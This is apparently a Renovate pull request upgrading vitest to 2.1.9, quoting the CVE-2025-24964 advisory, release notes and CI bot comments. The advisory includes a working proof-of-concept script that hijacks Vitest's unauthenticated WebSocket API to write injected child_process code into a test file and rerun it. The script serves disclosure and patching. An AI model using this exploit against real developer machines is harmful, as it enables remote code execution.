chore(deps): update dependency vitest to v2.1.9 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	2.0.4 -> 2.1.9

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

   🚨 Breaking Changes

• Remove the empty suite from the runner  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5435 (dbbbe)
• Remove --segfault-retry  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5514 (ed60e)
• Run suite hooks in a stack  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5609 (1277d)
• Enable coverage.ignoreEmptyLines by default  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5543 (31994)
• Add correct location and snapshot fields in json reporter  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5434 (bcccc)
• Update dependency chai to v5  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5135 (73646)
• Remove watchExclude  -  by @​patak-dev in https://github.com/vitest-dev/vitest/issues/5177 (d7371)
• Change default pool to 'forks'  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5047 (7f8f9)
• Don't exit process if config failed  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5715 (f232f)
• --merge-reports to support coverage  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5736 (b7438)
• Add promise-based return assertions, do not auto-resolve returned promises  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5749 (5f710)
• Do not exit process if global setup has failed  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5726 (ddb09)
• Add meta to json output  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5802 (dd754)
• Rename indexScripts to orchestratorScripts  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5842 (49f34)
• vitest: Add "vitest list" API to print collected tests without running them  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6013 (583dd)

   🚀 Features

• Pretty print diffs coming from cause  -  by @​dubzzz in https://github.com/vitest-dev/vitest/issues/5660 (6faf8)
• Allow import statement as vi.mock path for better IDE support  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5690 (a99a1)
• Remove deprecated options  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5696 (5c308)
• Add blob reporter  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5663 (e2053)
• Add expect.poll utility  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5708 (e2e0f)
• Add browser.ui option  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5771 (a5033)
• Add median to --output-json  -  by @​Joristdh in https://github.com/vitest-dev/vitest/issues/5745 (0766b)
• Allow augmenting config.test.env  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5784 (b2469)
• Implement module mocking in browser mode  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5765 (7b2f6)
• Allow configuring expect options in the config  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5729 (fc53f)
• Add an option to print console stack trace  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5720 (e4fe6)
• Add browser frame to UI  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5808 (3796d)
• Image type add bmp  -  by @​btea in https://github.com/vitest-dev/vitest/issues/5921 (98f9b)
• Add an option to return base64 from page.screenshot  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5993 (be323)
• Expose parseAst, parseAstAsync from vite  -  by @​sheremet-va (f645e)
• Introduce experimental reported tasks  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6149 (13d85)
• api:
  • Make spec into a class instead of a tuple  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6355 (874a1)
• browser:
  • Add commands to communicate betweens server and the browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5097 (aa431)
  • Do not reload the page during watch mode  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5810 (e5b9a)
  • Support changing the viewport  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5811 (71851)
  • Add browser iframe mouse interaction  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5815 (f29b9)
  • Support click event  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5777 (839c3)
  • Rename none provider to preview, make it default  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5826 (18310)
  • Run tests in parallel in headless mode, add page.screenshot method  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5853 (81c42)
  • Implement several userEvent methods, add fill and dragAndDrop events  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5882 (4dbea)
  • Introduce expect.dom method and bundle jest-dom matchers with @vitest/browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5910 (3a96a)
  • Expose CDP in the browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5938 (bec43)
  • Add "init" command for browser tests  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5960 (49e97)
  • Add an option to take screenshots if the browser test fails  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5975 (154cb)
  • Add tripleClick to interactive api  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5987 (200a4)
  • Playwright provider doesn't allow resizing the browser viewport  -  by @​userquin and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5984 (ff978)
  • Allow preview and open in the editor screenshot error from ui  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/6113 (2d620)
  • Move page.config to server.config, add more docs  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6252 (af2b8)
  • Make iframe scalable, improve documentation  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6257 (74ca1)
  • Introduce built-in locators  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6084 (3347f)
  • Support v8 coverage  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6273 (34199)
  • Support userEvent.upload in playwright provider  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6442 (cf148)
  • Support --inspect  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6433 (0499a)
  • Support --inspect-brk  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6434 (7ab0f)
  • Allow custom HTML path, respect plugins transformIndexHtml  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6725 (16902)
• cli:
  • Extend existing list command to output only a list of file names  -  by @​Ma-hawaj and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6392 (008f0)
• config:
  • Allow percentage value for workers option  -  by @​syi0808 in https://github.com/vitest-dev/vitest/issues/5982 (b1a27)
• coverage:
  • Add thresholds.<glob>.100 option  -  by @​thor-juhasz and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6174 (f6845)
  • Add --exclude-after-remap  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6309 (5932a)
• experimental:
  • Expose vite on the test project as a separate field  -  by @​sheremet-va (bcc59)
• mocker:
  • Introduce @​vitest/mocker package, allow { spy: true } instead of a factory  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6289 (95f02)
• runner:
  • Implement test.for  -  by @​hi-ogawa and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5861 (c2380)
• spy:
  • Collect mock.contexts  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5955 (3b31a)
• ui:
  • Render tests in a tree  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5807 (7900f)
  • Load module graph on tab selection  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5844 (b117e)
  • Replace navigation tree with test explorer  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5907 (45dfc)
  • Add initializing explorer logic  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5941 (c31c4)
  • Add action to explorer item to show the test/suite line in the source code tab  -  by @​userquin and Anjorin Damilare in https://github.com/vitest-dev/vitest/issues/5948 (7ec29)
  • Show all suites/tests when parent matches  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/6106 (840e0)
• vitest:
  • Add "provide" option  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6253 (4409d)
  • Add return type and promisable mockFactory  -  by @​syi0808 and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6139 (f5e0b)
  • Add vi.advanceTimersToNextFrame  -  by @​bnjm and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6347 (8ff63)
  • Allow env to be stubbed to undefined  -  by @​JSanchezIO and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6359 (c3b27)
• ws-client:
  • Allow change reactive for state, filesMap and idMap  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5906 (e6020)

   🐞 Bug Fixes

• Print console statements in vmThreads  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5678 (34a80)
• Repeatable --exclude option  -  by @​fregante in https://github.com/vitest-dev/vitest/issues/5782 (d6700)
• Remove browser.fileParallelism  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5790 (b881e)
• Install UI icons  -  by @​sheremet-va (b84f1)
• Remove process.exit if workspace project failed to be created  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5804 (a820e)
• Vi.waitFor/vi.waitUntil interval is now cleared after it times out  -  by @​pedro00dk in https://github.com/vitest-dev/vitest/issues/5875 (04107)
• ToJSON recursive error serialization  -  by @​eddienubes in https://github.com/vitest-dev/vitest/issues/5848 and https://github.com/vitest-dev/vitest/issues/5884 (8d55d)
• Print error properties only in verbose reporter  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5917 (2bd8d)
• Use TTY reporter when running in Deno  -  by @​marvinhagemeister in https://github.com/vitest-dev/vitest/issues/5972 (e0f45)
• Don't override uppercase  -  by @​sheremet-va (caef4)
• Clear screen and scrollback on iTerm2  -  by @​kxalex in https://github.com/vitest-dev/vitest/issues/5978 (d7f23)
• Include pretty-format in @​vitest/runner for optimization on npm  -  by @​sheremet-va (42bd4)
• Transpile esnext to node18 to support newest JS and TS features  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/4409 (8f65a)
• --inspect-brk stop on Windows  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6110 (f8519)
• One-line environment options  -  by @​hahanein in https://github.com/vitest-dev/vitest/issues/5105 (38269)
• Resolve assets imported with require  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6159 (807a2)
• Show a difference between string characters if both values are strings  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6191 (29176)
• testNamePattern adds leading space  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6186 (073a5)
• Correctly resolve nested mocks with index file  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6266 (081cf)
• Don't panic when coverage.reporter is a string  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6267 (7b37d)
• Align RawMatcherFn type definition with Jest  -  by @​wheresrhys in https://github.com/vitest-dev/vitest/issues/6351 (d09f0)
• Cjs build of vite node server  -  by @​AkaraChen in https://github.com/vitest-dev/vitest/issues/6389 (12e70)
• Allow inlining vite's cached dependencies  -  by @​chriswheeldon-peakon in https://github.com/vitest-dev/vitest/issues/6284 (03208)
• Print unexpected error message if peer dependencies have a different version  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6446 (b992b)
• Ignore importer when resolving Vitest  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6469 (0b447)
• expect.getState().testPath always returns correct path  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6472 (ac698)
• UserEvent works consistently between providers  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6480 (0b4da)
• Move Vitest.setServer to post configureServer hook to enable import analysis for workspace config loading  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6584 (e7f35)
• Fix error diff of toBeNaN, toBeUndefined, toBeNull, toBeTruthy, toBeFalsy  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6697 (e0027)
• Don't normalize drive case letter in root  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6792 (b28cd)
• dangerouslyIgnoreUnhandledErrors without base reporter  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6808 (0bf0a)
• Capture unhandledRejection even when base reporter is not used  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6812 (8878b)
• Don't change the working directory when loading workspace projects  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6811 (f0aea)
• Remove sequence.concurrent from the RuntimeConfig type  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6880 (6af73)
• Stop the runner before restarting, restart on workspace config change  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6859 (b01df)
• Don't rerun on Esc or Ctrl-C during watch filter  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6895 (98f76)
• Print ssrTransform error  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6885 (4c96c)
• Throw an error and a warning if .poll, .element, .rejects/.resolves, and locator.* weren't awaited  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6877 (93b67)
• Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
• Support Node 21  -  by @​sheremet-va (92f7a)
• Backport #​7317 to v2  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/7318 and https://github.com/vitest-dev/vitest/issues/7317 (e0fe1)
• Backport #​7317 to v1  -  by @​hi-ogawa and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/7319 and https://github.com/vitest-dev/vitest/issues/7317 (7ce9f)
• api:
  • Correct project.provide type  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5959 (0eda9)
  • Don't call process.exit manually  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5926 (e9b63)
• benchmark:
  • Clear BenchmarkResult.samples array to reduce memory usage  -  by @​hi-ogawa and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/6541 (a6407)
• browser:
  • Display UI  -  by @​sheremet-va (d41e4)
  • Browser actions icons colors  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5816 (f9d9b)
  • Restore the original viewport when unselecting the preset viewport  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5821 (5ebb3)
  • Don't get stuck after the manual page refresh  -  by @​sheremet-va (2220b)
  • Use iframe id instead of calculating it from filenames  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5823 (34a31)
  • Always clean up iframes on rerun  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5827 (087fa)
  • Support @​testing-library/vue in browser mode out of the box  -  by @​sheremet-va (76b82)
  • Print correct transformed module graph  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5833 (a7581)
  • Use preview provider when running in StackBlitz  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/5836 (76e13)
  • Specify entries for correct deps optimization  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5839 (c79b3)
  • Allow iframe to load even if there is a custom CSP header  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5841 (caaaf)
  • Don't optimize Vitest dependencies  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5843 (f15b4)
  • Set server.open to false and move error handling after init  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5845 (47003)
  • Show correct prepare time  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5852 (52d54)
  • Resolve coverage.reporter from string values  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5920 (f33da)
  • Correctly update inline snapshot if changed  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5925 (2380c)
  • Remove "util" warning  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5935 (48f28)
  • Remove hacky retry  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5971 (2a2c9)
  • Make userEvent more stable when running in parallel  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5974 (14a21)
  • Print screenshot path alongside the test error message  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5992 (15289)
  • Print correct stack trace in source files  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6003 (62aa7)
  • Correctly mock optimized cjs dependencies  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6035 (057b4)
  • Support shadow root and svg elements  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6036 (2e3c8)
  • Correctly inherit browser config in a workspace  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6054 (4b03e)
  • Remove @​vitest/runner > pretty-format from prebundling because it doesn't exist  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6075 (a169d)
  • Inline pretty-format and replace picocolors with tinyrainbow  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6077 (80a43)
  • Remove crypto.randomUUID from the client  -  by @​userquin in https://github.com/vitest-dev/vitest/issues/6079 (04c83)
  • Correctly overwrite loupe require  -  by @​sheremet-va (756ac)
  • Dedupe @​vitest/browser/client  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6081 (ee725)
  • Don't release keyboard automatically  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6083 (58fac)
  • Don't import from "vite"  -  by @​sheremet-va (35655)
  • Allow immidiate reinvalidation of mocked dependencies  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6108 (f44cc)
  • Don't panic if @​vitest/browser is installed outside of project root  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6135 (ccfcd)
  • Set global filepath  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6190 (0d0b4)
  • Don't bundle afterEach cleanup hooks in node entrypoint  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6192 (e6fbc)
  • UserEvent.setup initiates a separate state for userEvent instance  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6088 (883f3)
  • Don't inject empty process global  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6213 (1affb)
  • Don't inject empty process global "  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6213 (9069b)
  • Correctly import optimized module in vi.importActual  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6219 (804ff)
  • Passing options to hover/unhover  -  by @​mneveroff in https://github.com/vitest-dev/vitest/issues/6175 (d4c00)
  • Improve unique CSS selector generation  -  by @​zacharyvoase and Zack Voase in https://github.com/vitest-dev/vitest/issues/6243 (e7acd)
  • Print correct stack trace for unhandled errors  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6134 (1da6c)
  • Use documentElement as the root for selector  -  by @​sheremet-va (d8077)
  • Keep querying elements even if locator is created with elementLocator, add pubic @​vitest/browser/utils  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6296 (30dc5)
  • Produce valid config file if preview provider is used  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6305 (7f0ae)
  • Correctly run in-source tests in the browser  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6440 (c8531)
  • Exclude missed packages from optimization, print help message  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6445 (8d883)
  • Define mocker as a dependency  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6476 (9560a)
  • Make example test callbacks async  -  by @​aqandrew in https://github.com/vitest-dev/vitest/issues/6484 (16aa7)
  • Optimize vitest-browser-vue correctly  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6490 (5cbb0)
  • Fix dynamic import inside worker  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/6569 [(ea2d4)](https://redirect.github.com/vitest-d

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[coderabbitai]

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

---

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

• Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  • I pushed a fix in commit <commit_id>, please review it.
  • Explain this complex logic.
  • Open a follow-up GitHub issue for this discussion.
• Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
  • @coderabbitai explain this code block.
  • @coderabbitai modularize this function.
• PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
  • @coderabbitai read src/utils.ts and explain its main purpose.
  • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
  • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Join our Discord community for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

• @coderabbitai pause to pause the reviews on a PR.
• @coderabbitai resume to resume the paused reviews.
• @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
• @coderabbitai full review to do a full review from scratch and review all the files again.
• @coderabbitai summary to regenerate the summary of the PR.
• @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
• @coderabbitai resolve resolve all the CodeRabbit review comments.
• @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
• @coderabbitai help to get help.

Other keywords and placeholders

• Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
• Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
• Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

• You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
• Please see the configuration documentation for more information.
• If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

• Visit our Documentation for detailed information on how to use CodeRabbit.
• Join our Discord Community to get help, request features, and share feedback.
• Follow us on X/Twitter for updates and announcements.

[nx-cloud]

View your CI Pipeline Execution ↗ for commit c3a70ca.

Command	Status	Duration	Result
nx affected -t lint build test	✅ Succeeded	14s	View ↗

---

☁️ Nx Cloud last updated this comment at 2025-06-22 10:47:58 UTC

[codecov]

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 60.11%. Comparing base (da3039b) to head (c3a70ca).

✅ All tests successful. No failed tests found.

Additional details and impacted files

@@           Coverage Diff           @@
##             main      #50   +/-   ##
=======================================
  Coverage   60.11%   60.11%           
=======================================
  Files          19       19           
  Lines         682      682           
  Branches       68       53   -15     
=======================================
  Hits          410      410           
  Misses        272      272           

Components	Coverage Δ
Server	5.70% <ø> (ø)
Config	∅ <ø> (∅)
Web	79.32% <ø> (ø)
Utils	0.00% <ø> (ø)
All Tests	100.00% <ø> (ø)

---

Continue to review full report in Codecov by Sentry.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update da3039b...c3a70ca. Read the comment docs.

🚀 New features to boost your workflow:

• 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

[socket-security]

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	vitest@​2.1.9

View full report